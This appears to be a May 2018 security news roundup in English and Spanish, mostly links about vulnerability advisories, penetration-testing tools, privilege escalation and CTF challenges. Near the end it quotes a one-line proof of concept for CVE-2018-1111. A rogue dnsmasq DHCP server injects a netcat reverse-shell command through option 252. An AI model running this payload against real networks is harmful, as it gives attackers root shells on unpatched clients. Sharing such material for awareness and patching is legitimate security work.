SysAdmin 24x7

Detect Illegal Wireless Network Activities: WIPI-HUNTER https://n0where.net/detect-illegal-wireless-network-activities-wipi-hunter

Rogue Wi-Fi Access Point: 3vilTwinAttacker https://n0where.net/rogue-wi-fi-access-point-3viltwinattacker

Ejecución remota de código en Microsoft PowerPoint para Mac http://unaaldia.hispasec.com/2018/05/ejecucion-remota-de-codigo-en-microsoft.html

Reto 25: born2root warm up http://www.hackplayers.com/2018/05/reto-25-born2root-warm-up.html

Malwarebytes CrackMe 2 by hasherazade https://secrary.com/CrackMe/hasherezadeCrackme2/

Delincuentes publican dos graves vulnerabilidades por error https://blog.segu-info.com.ar/2018/05/delincuentes-publican-dos-graves.html

Local Privilege Escalation in Dell's SupportAssist Driver https://hatriot.github.io/blog/2018/05/17/dell-supportassist-local-privilege-escalation/

Bypassing UAC using Registry Keys https://attackiq.com/blog/2018/05/14/bypassing-uac-using-registry-keys/

Node.js VoIP penetration testing framework : Bluebox-ng https://n0where.net/node-js-voip-penetration-testing-framework

ISC Releases Security Advisories for BIND A remote attacker could exploit these vulnerabilities to cause a denial-of-service condition. https://www.us-cert.gov/ncas/current-activity/2018/05/18/ISC-Releases-Security-Advisories-BIND

Mozilla Releases Security Update for Thunderbird Mozilla has released a security update to address vulnerabilities in Thunderbird. A remote attacker could exploit one of these vulnerabilities to take control of an affected system. https://www.us-cert.gov/ncas/current-activity/2018/05/18/Mozilla-Releases-Security-Update-Thunderbird

DynoRoot: Ejecución remota de código con permisos de root en sistemas RedHat http://unaaldia.hispasec.com/2018/05/dynoroot-ejecucion-remota-de-codigo-con.html

Hardcoded Password Found in Cisco Enterprise Software, Again https://www.bleepingcomputer.com/news/security/hardcoded-password-found-in-cisco-enterprise-software-again/

Vulnerabilidad en NetScaler Application Delivery Controller y NetScaler Gateway de Citrix Fecha de publicación: 17/05/2018 Importancia: 5 - Crítica Recursos afectados:  NetScaler Gateway 12.0 NetScaler Gateway 11.1 NetScaler Gateway 11.0 NetScaler Gateway 10.5 https://www.certsi.es/alerta-temprana/avisos-seguridad/vulnerabilidad-netscaler-application-delivery-controller-y

Openmediavault 4 master branch has been archived, marking it as stable and starting the development of version 5 codename Sandworm. Some general ideas for the future of openmediavault are being discussed at https://scm.openmediavault.org

Inyección de comandos en VMware NSX SD-WAN Fecha de publicación: 16/05/2018 Importancia: 4 - Alta Recursos afectados:  NSX SD-WAN Edge de VeloCloud V 3.x y 2.x Descripción:  Se ha detectado una vulnerabilidad de criticidad alta que podría permitir a un atacante realizar una inyección de comandos sin estar autenticado en el sistema, por lo que podría ejecutar código arbitrario.   https://www.certsi.es/alerta-temprana/avisos-seguridad/inyeccion-comandos-vmware-nsx-sd-wan

Si usas Trello tu contraseña puede estar indexada por google...

#CVE-2018-1111 PoC dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #" 👌🏽

DHCP Client Script Code Execution Vulnerability - CVE-2018-1111 - Red Hat Customer Portal https://access.redhat.com/security/vulnerabilities/3442151